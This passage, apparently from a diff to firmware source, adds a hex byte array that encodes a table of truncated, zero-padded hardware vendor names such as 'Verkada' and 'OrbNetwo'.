0x6d, 0x61, 0x78, 0x00, 0x00, +0x57, 0x61, 0x6e, 0x61, 0x6e, 0x48, 0x6f, 0x6e, +0x4e, 0x6f, 0x6a, 0x61, 0x50, 0x6f, 0x77, 0x65, +0x50, 0x65, 0x76, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x56, 0x65, 0x72, 0x6b, 0x61, 0x64, 0x61, 0x00, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x56, +0x4f, 0x72, 0x62, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x42, 0x65, 0x6e, 0x64, 0x65, 0x72, 0x26, 0x41, +0x4c, 0x6f, 0x65, 0x6e, 0x6b, 0x00, 0x00, 0x00, +0x41, 0x72, 0x72, 0x63, 0x75, 0x73, 0x00, 0x00, +0x43, 0x32, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, +0x41, 0x69, 0x73, 0x61, 0x69, 0x43, 0x6f, 0x6d, +0x4d, 0x69, 0x6c, 0x64, 0x65, 0x66, 0x00, 0x00, +0x4a, 0x69, 0x72, 0x65, 0x68, 0x45, 0x6e, 0x65, +0x47, 0x65, 0x6d, 0x69, 0x6e, 0x74, 0x65, 0x6b, +0x4b, 0x61, 0x74, 0x6f, 0x75, 0x64, 0x65, 0x6e, +0x41, 0x6c, 0x69, 0x70, 0x68, 0x44, 0x62, 0x61, +0x45, 0x71, 0x75, 0x65, 0x73, 0x54, 0x65, 0x63, +0x48, 0x69, 0x70, 0x70, 0x69, 0x68, 0x41, 0x70, +0x4a, 0x76, 0x63, 0x4b, 0x65, 0x6e, 0x77, 0x6f, +0x4f, 0x70, 0x65, 0x6e, 0x53, 0x74, 0x61, 0x6e, +0x53, 0x6e, 0x62, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4e, 0x75, 0x72, 0x65, 0x76, 0x61, 0x00, 0x00, +0x4f, 0x6c, 0x69, 0x76, 0x65, 0x54, 0x65, 0x6c, +0x56, 0x61, 0x73, 0x74, 0x72, 0x69, 0x76, 0x65, +0x4c, 0x69, 0x6e, 0x74, 0x65, 0x73, 0x54, 0x65, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x77, +0x56, 0x61, 0x64, 0x64, 0x69, 0x6f, 0x00, 0x00, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x65, 0x6e, 0x61, +0x50, 0x6c, 0x61, 0x74, 0x61, 0x6e, 0x53, 0x70, +0x53, 0x6f, 0x66, 0x74, 0x69, 0x72, 0x6f, 0x6e, +0x54, 0x6f, 0x6d, 0x74, 0x6f, 0x6d, 0x53, 0x6f, +0x54, 0x6f, 0x70, 0x73, 0x79, 0x73, 0x74, 0x65, +0x38, 0x62, 0x69, 0x74, 0x64, 0x6f, 0x54, 0x65, +0x5a, 0x70, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x56, 0x32, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x44, 0x75, 0x6e, 0x6b, 0x65, 0x72, 0x6d, 0x6f, +0x43, 0x6f, 0x6c, 0x6f, 0x72, 0x2d, 0x43, 0x68, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x6c, 0x61, 0x62, +0x4c, 0x69, 0x6c, 0x65, 0x65, 0x00, 0x00, 0x00, +0x4f, 0x70, 0x74, 0x6f, 0x6d, 0x65, 0x74, 0x00, +0x55, 0x6e, 0x69, 0x63, 0x6f, 0x72, 0x65, 0x43, +0x48, 0x61, 0x6e, 0x77, 0x68, 0x61, 0x54, 0x65, +0x53, 0x61, 0x62, 0x72, 0x65, 0x54, 0x65, 0x63, +0x48, 0x65, 0x6e, 0x72, 0x69, 0x44, 0x65, 0x70, +0x57, 0x75, 0x78, 0x69, 0x44, 0x73, 0x70, 0x54, +0x4f, 0x74, 0x74, 0x65, 0x63, 0x54, 0x65, 0x63, +0x43, 0x26, 0x43, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x47, 0x61, 0x72, 0x64, 0x61, 0x73, 0x6f, 0x66, +0x43, 0x68, 0x61, 0x6d, 0x70, 0x69, 0x6f, 0x6e, +0x4d, 0x61, 0x4c, 0x69, 0x67, 0x68, 0x74, 0x69, +0x45, 0x64, 0x73, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x48, 0x77, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, +0x53, 0x75, 0x74, 0x74, 0x6c, 0x65, 0x41, 0x70, +0x53, 0x74, 0x75, 0x61, 0x72, 0x74, 0x4d, 0x61, +0x50, 0x69, 0x6e, 0x67, 0x74, 0x65, 0x6b, 0x00, +0x48, 0x61, 0x6f, 0x43, 0x68, 0x65, 0x6e, 0x67, +0x44, 0x61, 0x6e, 0x69, 0x73, 0x68, 0x49, 0x6e, +0x44, 0x69, 0x63, 0x74, 0x75, 0x6d, 0x48, 0x65, +0x4d, 0x65, 0x73, 0x73, 0x6d, 0x61, 0x00, 0x00, +0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x66, 0x69, +0x47, 0x65, 0x74, 0x69, 0x6e, 0x67, 0x65, 0x53, +0x41, 0x61, 0x72, 0x74, 0x65, 0x73, 0x79, 0x73, +0x4d, 0x69, 0x6e, 0x72, 0x72, 0x61, 0x79, 0x49, +0x4a, 0x75, 0x6d, 0x70, 0x74, 0x72, 0x6f, 0x6e, +0x47, 0x65, 0x62, 0x65, 0x72, 0x69, 0x74, 0x49, +0x52, 0x66, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, +0x59, 0x65, 0x6c, 0x61, 0x74, 0x6d, 0x61, 0x49, +0x47, 0x72, 0x69, 0x64, 0x6c, 0x69, 0x6e, 0x6b, +0x41, 0x6c, 0x74, 0x6f, 0x67, 0x72, 0x61, 0x70, +0x54, 0x72, 0x6f, 0x6e, 0x4c, 0x69, 0x6e, 0x6b, +0x43, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x50, 0x61, +0x55, 0x61, 0x62, 0x53, 0x65, 0x6c, 0x74, 0x65, +0x53, 0x63, 0x6c, 0x45, 0x6c, 0x65, 0x6d, 0x65, +0x48, 0x65, 0x73, 0x2d, 0x53, 0x6f, 0x00, 0x00, +0x33, 0x36, 0x30, 0x46, 0x6c, 0x79, 0x00, 0x00, +0x41, 0x69, 0x72, 0x77, 0x61, 0x72, 0x65, 0x00, +0x4d, 0x6f, 0x70, 0x68, 0x69, 0x65, 0x4c, 0x6c, +0x43, 0x65, 0x69, 0x65, 0x63, 0x45, 0x6c, 0x65, +0x57, 0x79, 0x72, 0x65, 0x73, 0x74, 0x6f, 0x72, +0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x4c, 0x69, +0x4f, 0x72, 0x61, 0x79, 0x61, 0x54, 0x68, 0x65, +0x45, 0x6e, 0x2d, 0x56, 0x69, 0x73, 0x69, 0x6f, +0x4c, 0x65, 0x69, 0x66, 0x68, 0x65, 0x69, 0x74, +0x4d, 0x72, 0x26, 0x44, 0x4d, 0x61, 0x6e, 0x75, +0x54, 0x69, 0x6d, 0x65, 0x2d, 0x4f, 0x2d, 0x4d, +0x44, 0x61, 0x74, 0x61, 0x66, 0x6f, 0x78, 0x00, +0x4d, 0x69, 0x6e, 0x78, 0x6f, 0x6e, 0x48, 0x6f, +0x50, 0x61, 0x64, 0x50, 0x65, 0x72, 0x69, 0x70, +0x42, 0x65, 0x66, 0x73, 0x00, 0x00, 0x00, 0x00, +0x54, 0x68, 0x72, 0x6f, 0x75, 0x67, 0x68, 0x74, +0x47, 0x75, 0x6f, 0x67, 0x75, 0x61, 0x6e, 0x67, +0x41, 0x6b, 0x69, 0x62, 0x54, 0x61, 0x69, 0x77, +0x44, 0x61, 0x65, 0x79, 0x6f, 0x75, 0x6e, 0x67, +0x53, 0x79, 0x6e, 0x63, 0x62, 0x61, 0x6b, 0x00, +0x52, 0x65, 0x61, 0x6c, 0x6c, 0x79, 0x53, 0x69, +0x43, 0x6f, 0x6d, 0x73, 0x74, 0x6f, 0x63, 0x6b, +0x41, 0x69, 0x72, 0x73, 0x6f, 0x75, 0x6e, 0x64, +0x49, 0x64, 0x65, 0x6f, 0x53, 0x65, 0x63, 0x75, +0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x43, +0x4f, 0x72, 0x66, 0x65, 0x6f, 0x53, 0x6f, 0x75, +0x54, 0x6d, 0x79, 0x00, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x74, 0x73, 0x54, 0x65, 0x63, 0x68, +0x4f, 0x75, 0x74, 0x4f, 0x66, 0x46, 0x6f, 0x67, +0x58, 0x61, 0x70, 0x74, 0x65, 0x63, 0x00, 0x00, +0x53, 0x65, 0x6e, 0x73, 0x65, 0x4c, 0x61, 0x62, +0x47, 0x65, 0x6f, 0x64, 0x65, 0x73, 0x69, 0x63, +0x42, 0x69, 0x74, 0x64, 0x65, 0x66, 0x65, 0x6e, +0x45, 0x64, 0x75, 0x70, 0x49, 0x6e, 0x74, 0x65, +0x54, 0x73, 0x6d, 0x61, 0x72, 0x74, 0x00, 0x00, +0x59, 0x65, 0x6f, 0x6e, 0x68, 0x61, 0x62, 0x50, +0x4e, 0x65, 0x6f, 0x49, 0x6e, 0x66, 0x6f, 0x72, +0x4c, 0x6c, 0x63, 0x45, 0x6d, 0x7a, 0x69, 0x6f, +0x49, 0x6d, 0x61, 0x67, 0x69, 0x6e, 0x67, 0x44, +0x4c, 0x75, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, +0x49, 0x6e, 0x66, 0x72, 0x61, 0x74, 0x65, 0x63, +0x44, 0x61, 0x77, 0x6e, 0x69, 0x6e, 0x67, 0x49, +0x42, 0x6c, 0x61, 0x63, 0x6b, 0x44, 0x69, 0x61, +0x4d, 0x65, 0x6c, 0x65, 0x63, 0x00, 0x00, 0x00, +0x44, 0x69, 0x61, 0x6d, 0x61, 0x6e, 0x74, 0x69, +0x44, 0x69, 0x67, 0x69, 0x74, 0x4d, 0x6f, 0x62, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x4d, 0x6f, 0x62, +0x56, 0x6f, 0x65, 0x73, 0x74, 0x61, 0x6c, 0x70, +0x45, 0x6c, 0x73, 0x79, 0x73, 0x45, 0x71, 0x75, +0x46, 0x69, 0x72, 0x73, 0x54, 0x65, 0x63, 0x68, +0x42, 0x65, 0x6f, 0x76, 0x69, 0x65, 0x77, 0x49, +0x53, 0x35, 0x54, 0x65, 0x63, 0x68, 0x53, 0x52, +0x47, 0x6e, 0x74, 0x65, 0x6b, 0x45, 0x6c, 0x65, +0x4c, 0x6f, 0x78, 0x6c, 0x65, 0x79, 0x50, 0x75, +0x4e, 0x73, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x72, 0x63, 0x6f, 0x6e, 0x74, 0x69, 0x61, +0x43, 0x6f, 0x67, 0x65, 0x6e, 0x74, 0x48, 0x65, +0x54, 0x65, 0x73, 0x74, 0x6f, 0x49, 0x6e, 0x73, +0x50, 0x69, 0x69, 0x67, 0x61, 0x62, 0x50, 0x72, +0x53, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x50, 0x61, +0x44, 0x65, 0x65, 0x70, 0x53, 0x65, 0x61, 0x45, +0x53, 0x74, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, +0x53, 0x69, 0x6e, 0x6f, 0x50, 0x72, 0x69, 0x6d, +0x48, 0x2d, 0x44, 0x69, 0x73, 0x70, 0x6c, 0x61, +0x41, 0x75, 0x73, 0x74, 0x63, 0x6f, 0x43, 0x6f, +0x55, 0x66, 0x69, 0x73, 0x70, 0x61, 0x63, 0x65, +0x5a, 0x68, 0x75, 0x68, 0x61, 0x69, 0x54, 0x69, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x68, 0x6f, 0x6d, +0x49, 0x6e, 0x74, 0x72, 0x69, 0x73, 0x69, 0x6e, +0x4d, 0x65, 0x73, 0x6f, 0x74, 0x69, 0x63, 0x53, +0x50, 0x72, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, +0x47, 0x72, 0x61, 0x76, 0x6f, 0x74, 0x65, 0x63, +0x45, 0x6e, 0x65, 0x72, 0x67, 0x6f, 0x74, 0x65, +0x57, 0x61, 0x72, 0x70, 0x39, 0x54, 0x65, 0x63, +0x49, 0x73, 0x35, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x63, 0x68, +0x44, 0x65, 0x6e, 0x6b, 0x6f, 0x76, 0x69, 0x41, +0x4f, 0x70, 0x6d, 0x65, 0x78, 0x54, 0x65, 0x63, +0x4d, 0x69, 0x6c, 0x6c, 0x73, 0x6f, 0x6e, 0x43, +0x53, 0x74, 0x61, 0x72, 0x63, 0x6f, 0x72, 0x42, +0x52, 0x66, 0x74, 0x65, 0x63, 0x68, 0x53, 0x72, +0x45, 0x6c, 0x63, 0x6f, 0x6d, 0x49, 0x6e, 0x6e, +0x54, 0x75, 0x72, 0x62, 0x6f, 0x73, 0x74, 0x6f, +0x43, 0x65, 0x6c, 0x61, 0x4c, 0x69, 0x6e, 0x6b, +0x54, 0x68, 0x69, 0x6e, 0x6b, 0x72, 0x66, 0x00, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x73, 0x69, 0x6d, +0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, 0x73, 0x49, +0x49, 0x65, 0x65, 0x65, 0x50, 0x65, 0x73, 0x2d, +0x42, 0x65, 0x72, 0x6b, 0x2d, 0x54, 0x65, 0x6b, +0x54, 0x72, 0x69, 0x6e, 0x75, 0x73, 0x00, 0x00, +0x46, 0x6f, 0x78, 0x63, 0x6f, 0x6e, 0x6e, 0x49, +0x49, 0x74, 0x65, 0x63, 0x68, 0x49, 0x6e, 0x73, +0x45, 0x6e, 0x61, 0x6e, 0x63, 0x65, 0x53, 0x6f, +0x46, 0x6c, 0x6f, 0x64, 0x65, 0x73, 0x69, 0x67, +0x4e, 0x65, 0x74, 0x6f, 0x6e, 0x69, 0x78, 0x00, +0x42, 0x69, 0x6f, 0x63, 0x6f, 0x6e, 0x74, 0x72, +0x56, 0x69, 0x64, 0x61, 0x62, 0x6f, 0x78, 0x4c, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x4e, +0x54, 0x65, 0x63, 0x63, 0x00, 0x00, 0x00, 0x00, +0x59, 0x70, 0x73, 0x6f, 0x6d, 0x65, 0x64, 0x00, +0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x00, 0x00, +0x4e, 0x6f, 0x76, 0x65, 0x6c, 0x73, 0x61, 0x74, +0x4d, 0x63, 0x6e, 0x65, 0x78, 0x00, 0x00, 0x00, +0x41, 0x64, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x64, 0x6c, 0x45, 0x6d, 0x62, 0x65, 0x64, +0x59, 0x61, 0x70, 0x74, 0x76, 0x00, 0x00, 0x00, +0x41, 0x77, 0x63, 0x65, 0x72, 0x00, 0x00, 0x00, +0x54, 0x74, 0x6b, 0x53, 0x61, 0x73, 0x00, 0x00, +0x4d, 0x65, 0x69, 0x6e, 0x62, 0x65, 0x72, 0x67, +0x52, 0x65, 0x64, 0x77, 0x69, 0x72, 0x65, 0x4c, +0x51, 0x69, 0x68, 0x61, 0x6e, 0x54, 0x65, 0x63, +0x57, 0x6f, 0x72, 0x6c, 0x64, 0x4d, 0x65, 0x64, +0x51, 0x69, 0x6e, 0x67, 0x68, 0x61, 0x69, 0x4b, +0x41, 0x76, 0x69, 0x2d, 0x4f, 0x6e, 0x4c, 0x61, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x34, 0x31, +0x45, 0x70, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x44, +0x4d, 0x6f, 0x63, 0x61, 0x63, 0x61, 0x72, 0x65, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x56, +0x4a, 0x75, 0x73, 0x74, 0x6f, 0x6e, 0x65, 0x54, +0x4d, 0x65, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x63, 0x63, 0x65, 0x6c, 0x53, 0x61, 0x73, +0x4e, 0x6f, 0x76, 0x61, 0x73, 0x70, 0x61, 0x72, +0x52, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00, +0x44, 0x6c, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x61, 0x67, 0x72, 0x61, 0x76, 0x69, 0x73, +0x45, 0x64, 0x64, 0x79, 0x66, 0x69, 0x4e, 0x64, +0x4d, 0x65, 0x6d, 0x6d, 0x65, 0x72, 0x74, 0x2b, +0x4d, 0x61, 0x70, 0x70, 0x65, 0x72, 0x41, 0x69, +0x44, 0x64, 0x6f, 0x73, 0x2d, 0x47, 0x75, 0x61, +0x32, 0x32, 0x37, 0x36, 0x34, 0x32, 0x37, 0x4f, +0x4c, 0x75, 0x66, 0x66, 0x74, 0x4d, 0x65, 0x73, +0x4b, 0x65, 0x6d, 0x70, 0x70, 0x69, 0x4f, 0x79, +0x47, 0x69, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x75, 0x72, 0x6f, 0x4e, 0x65, 0x74, +0x53, 0x68, 0x69, 0x6e, 0x61, 0x6e, 0x6f, 0x45, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x67, 0x65, 0x6e, +0x47, 0x69, 0x72, 0x6f, 0x70, 0x74, 0x69, 0x63, +0x44, 0x69, 0x67, 0x69, 0x76, 0x6f, 0x69, 0x63, +0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x45, 0x6c, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x63, 0x68, 0x6f, +0x41, 0x63, 0x63, 0x75, 0x65, 0x6e, 0x65, 0x72, +0x4d, 0x69, 0x72, 0x61, 0x65, 0x72, 0x65, 0x63, +0x47, 0x65, 0x61, 0x46, 0x61, 0x72, 0x6d, 0x54, +0x5a, 0x68, 0x75, 0x68, 0x61, 0x69, 0x4c, 0x69, +0x52, 0x61, 0x6d, 0x69, 0x00, 0x00, 0x00, 0x00, +0x49, 0x72, 0x74, 0x53, 0x61, 0x00, 0x00, 0x00, +0x4c, 0x61, 0x6d, 0x70, 0x72, 0x65, 0x79, 0x4e, +0x53, 0x6b, 0x67, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x54, 0x61, 0x64, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x6d, 0x6e, 0x74, 0x65, 0x63, 0x4d, 0x66, +0x53, 0x69, 0x73, 0x74, 0x65, 0x6d, 0x61, 0x53, +0x53, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x47, 0x75, 0x61, 0x6e, 0x67, 0x5a, 0x68, 0x6f, +0x5a, 0x74, 0x6c, 0x78, 0x4e, 0x65, 0x74, 0x77, +0x4e, 0x65, 0x6f, 0x6d, 0x6f, 0x6e, 0x74, 0x61, +0x48, 0x64, 0x44, 0x69, 0x67, 0x69, 0x74, 0x61, +0x46, 0x63, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6d, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x65, 0x6e, 0x72, 0x61, 0x54, 0x65, 0x63, +0x41, 0x45, 0x62, 0x65, 0x72, 0x6c, 0x65, 0x00, +0x42, 0x6c, 0x75, 0x65, 0x72, 0x61, 0x64, 0x69, +0x4a, 0x61, 0x6e, 0x7a, 0x2d, 0x43, 0x6f, 0x6e, +0x43, 0x68, 0x72, 0x6f, 0x6e, 0x74, 0x65, 0x6c, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x65, 0x62, 0x75, +0x4b, 0x79, 0x75, 0x6e, 0x67, 0x64, 0x6f, 0x6e, +0x50, 0x6c, 0x61, 0x79, 0x66, 0x75, 0x73, 0x69, +0x4c, 0x67, 0x43, 0x68, 0x65, 0x6d, 0x00, 0x00, +0x4f, 0x72, 0x69, 0x63, 0x6f, 0x54, 0x65, 0x63, +0x45, 0x73, 0x61, 0x6e, 0x45, 0x6c, 0x65, 0x63, +0x53, 0x68, 0x6f, 0x77, 0x61, 0x44, 0x65, 0x6e, +0x4f, 0x70, 0x75, 0x73, 0x48, 0x69, 0x67, 0x68, +0x54, 0x61, 0x6c, 0x61, 0x72, 0x69, 0x73, 0x53, +0x57, 0x61, 0x66, 0x61, 0x54, 0x65, 0x63, 0x68, +0x44, 0x72, 0x53, 0x69, 0x67, 0x72, 0x69, 0x73, +0x46, 0x2d, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, +0x57, 0x61, 0x6c, 0x64, 0x6f, 0x4e, 0x65, 0x74, +0x42, 0x69, 0x32, 0x2d, 0x56, 0x69, 0x73, 0x69, +0x48, 0x75, 0x69, 0x6b, 0x65, 0x45, 0x6c, 0x65, +0x42, 0x6c, 0x6f, 0x6f, 0x6d, 0x62, 0x61, 0x73, +0x41, 0x63, 0x74, 0x69, 0x6c, 0x69, 0x74, 0x79, +0x47, 0x6f, 0x67, 0x6f, 0x72, 0x6f, 0x54, 0x61, +0x52, 0x4c, 0x44, 0x72, 0x61, 0x6b, 0x65, 0x00, +0x44, 0x76, 0x6e, 0x53, 0x68, 0x61, 0x6e, 0x67, +0x50, 0x79, 0x72, 0x61, 0x6d, 0x69, 0x64, 0x43, +0x4a, 0x74, 0x65, 0x63, 0x68, 0x43, 0x6f, 0x6d, +0x43, 0x61, 0x72, 0x65, 0x76, 0x69, 0x65, 0x77, +0x44, 0x79, 0x63, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x44, 0x75, 0x72, 0x61, 0x63, 0x65, 0x6c, 0x6c, +0x47, 0x65, 0x74, 0x72, 0x69, 0x65, 0x62, 0x65, +0x59, 0x61, 0x6e, 0x66, 0x65, 0x6e, 0x67, 0x56, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, 0x65, 0x6c, +0x50, 0x65, 0x61, 0x6b, 0x2d, 0x53, 0x79, 0x73, +0x4e, 0x67, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x68, 0x75, 0x6e, 0x64, 0x65, 0x72, 0x63, +0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x66, 0x69, +0x58, 0x63, 0x65, 0x6c, 0x6c, 0x65, 0x6e, 0x00, +0x4c, 0x65, 0x6f, 0x70, 0x6f, 0x6c, 0x64, 0x4b, +0x49, 0x72, 0x7a, 0x41, 0x75, 0x74, 0x6f, 0x6d, +0x43, 0x6f, 0x73, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x56, 0x65, 0x6c, 0x6f, 0x63, 0x6c, 0x6f, 0x75, +0x4e, 0x78, 0x74, 0x63, 0x6f, 0x6e, 0x65, 0x63, +0x47, 0x61, 0x72, 0x6c, 0x61, 0x6e, 0x64, 0x54, +0x54, 0x61, 0x6d, 0x69, 0x6f, 0x00, 0x00, 0x00, +0x52, 0x61, 0x6f, 0x6e, 0x74, 0x68, 0x69, 0x6e, +0x47, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x48, 0x62, 0x63, 0x2d, 0x52, 0x61, 0x64, 0x69, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x73, 0x63, +0x58, 0x69, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x68, 0x61, 0x6e, 0x74, 0x6f, 0x6d, 0x49, +0x50, 0x6f, 0x73, 0x6c, 0x61, 0x62, 0x54, 0x65, +0x4d, 0x61, 0x78, 0x69, 0x64, 0x50, 0x74, 0x79, +0x48, 0x2b, 0x53, 0x50, 0x6f, 0x6c, 0x61, 0x74, +0x53, 0x69, 0x70, 0x6f, 0x64, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x61, 0x6e, 0x79, 0x61, 0x6e, 0x67, +0x4c, 0x65, 0x64, 0x64, 0x61, 0x72, 0x74, 0x65, +0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x4c, 0x6c, +0x4c, 0x65, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, +0x43, 0x6f, 0x62, 0x61, 0x6c, 0x74, 0x72, 0x61, +0x53, 0x65, 0x6e, 0x73, 0x6f, 0x6d, 0x65, 0x74, +0x4c, 0x61, 0x72, 0x73, 0x54, 0x68, 0x72, 0x61, +0x45, 0x63, 0x68, 0x6f, 0x73, 0x65, 0x6e, 0x73, +0x41, 0x78, 0x65, 0x6d, 0x61, 0x50, 0x61, 0x73, +0x45, 0x78, 0x6f, 0x53, 0x41, 0x00, 0x00, 0x00, +0x52, 0x6c, 0x68, 0x49, 0x6e, 0x64, 0x75, 0x73, +0x59, 0x6f, 0x74, 0x74, 0x61, 0x62, 0x79, 0x74, +0x54, 0x65, 0x63, 0x6f, 0x6e, 0x4d, 0x74, 0x4c, +0x44, 0x72, 0x67, 0x65, 0x72, 0x77, 0x65, 0x00, +0x45, 0x73, 0x73, 0x65, 0x63, 0x00, 0x00, 0x00, +0x42, 0x69, 0x6c, 0x6b, 0x6f, 0x6e, 0x42, 0x69, +0x50, 0x61, 0x63, 0x65, 0x54, 0x65, 0x6c, 0x65, +0x56, 0x69, 0x70, 0x61, 0x72, 0x00, 0x00, 0x00, +0x54, 0x66, 0x50, 0x61, 0x79, 0x6d, 0x65, 0x6e, +0x4d, 0x6f, 0x62, 0x69, 0x74, 0x65, 0x63, 0x00, +0x41, 0x64, 0x61, 0x70, 0x74, 0x72, 0x75, 0x6d, +0x57, 0x68, 0x69, 0x74, 0x65, 0x73, 0x6b, 0x79, +0x4d, 0x6f, 0x74, 0x69, 0x6f, 0x6e, 0x41, 0x6e, +0x50, 0x68, 0x6f, 0x72, 0x6d, 0x00, 0x00, 0x00, +0x4b, 0x65, 0x65, 0x62, 0x6f, 0x78, 0x00, 0x00, +0x49, 0x65, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x75, 0x72, 0x69, 0x78, 0x4e, 0x65, +0x42, 0x65, 0x6e, 0x65, 0x78, 0x74, 0x42, 0x56, +0x52, 0x65, 0x64, 0x75, 0x78, 0x69, 0x6f, 0x00, +0x56, 0x61, 0x6c, 0x65, 0x6e, 0x63, 0x65, 0x74, +0x49, 0x6e, 0x64, 0x75, 0x73, 0x6e, 0x65, 0x74, +0x57, 0x61, 0x76, 0x65, 0x6c, 0x69, 0x6e, 0x6b, +0x53, 0x70, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, +0x53, 0x69, 0x6d, 0x6f, 0x6e, 0x2d, 0x4b, 0x61, +0x52, 0x74, 0x62, 0x72, 0x69, 0x63, 0x6b, 0x00, +0x59, 0x61, 0x6d, 0x61, 0x62, 0x69, 0x73, 0x68, +0x43, 0x75, 0x63, 0x69, 0x6e, 0x69, 0x61, 0x6c, +0x4d, 0x6d, 0x70, 0x63, 0x00, 0x00, 0x00, 0x00, +0x53, 0x70, 0x65, 0x63, 0x74, 0x6f, 0x50, 0x61, +0x55, 0x62, 0x69, 0x71, 0x61, 0x6d, 0x00, 0x00, +0x53, 0x65, 0x6e, 0x6f, 0x72, 0x54, 0x65, 0x63, +0x41, 0x62, 0x69, 0x6c, 0x69, 0x73, 0x53, 0x61, +0x46, 0x61, 0x67, 0x49, 0x6e, 0x64, 0x75, 0x73, +0x42, 0x65, 0x6e, 0x75, 0x4e, 0x65, 0x74, 0x77, +0x41, 0x72, 0x72, 0x69, 0x6b, 0x74, 0x6f, 0x00, +0x53, 0x53, 0x52, 0x65, 0x73, 0x65, 0x61, 0x72, +0x42, 0x6e, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x6f, 0x72, 0x74, 0x61, 0x62, 0x6c, 0x65, +0x4c, 0x65, 0x61, 0x64, 0x69, 0x6e, 0x67, 0x50, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x52, +0x41, 0x6d, 0x73, 0x63, 0x72, 0x65, 0x65, 0x6e, +0x45, 0x6d, 0x73, 0x74, 0x6f, 0x6e, 0x65, 0x00, +0x47, 0x6f, 0x6c, 0x64, 0x63, 0x61, 0x72, 0x64, +0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x53, +0x48, 0x65, 0x6e, 0x67, 0x62, 0x61, 0x6f, 0x00, +0x4e, 0x69, 0x63, 0x65, 0x77, 0x61, 0x79, 0x43, +0x42, 0x6f, 0x78, 0x78, 0x54, 0x76, 0x00, 0x00, +0x57, 0x61, 0x6e, 0x6a, 0x69, 0x61, 0x61, 0x6e, +0x4d, 0x61, 0x74, 0x73, 0x75, 0x66, 0x75, 0x45, +0x44, 0x71, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x50, 0x61, 0x6e, 0x6f, 0x70, 0x74, 0x69, 0x63, +0x4e, 0x6f, 0x74, 0x46, 0x6f, 0x72, 0x52, 0x61, +0x44, 0x69, 0x66, 0x66, 0x6f, 0x6e, 0x00, 0x00, +0x41, 0x64, 0x6f, 0x6e, 0x69, 0x74, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x69, +0x56, 0x69, 0x6c, 0x74, 0x65, 0x63, 0x68, 0x6d, +0x57, 0x6f, 0x6f, 0x6a, 0x65, 0x6f, 0x6e, 0x26, +0x53, 0x6f, 0x6c, 0x69, 0x64, 0x66, 0x69, 0x72, +0x46, 0x64, 0x74, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x49, 0x6e, 0x66, 0x6f, 0x62, 0x6c, 0x6f, 0x78, +0x54, 0x65, 0x6e, 0x73, 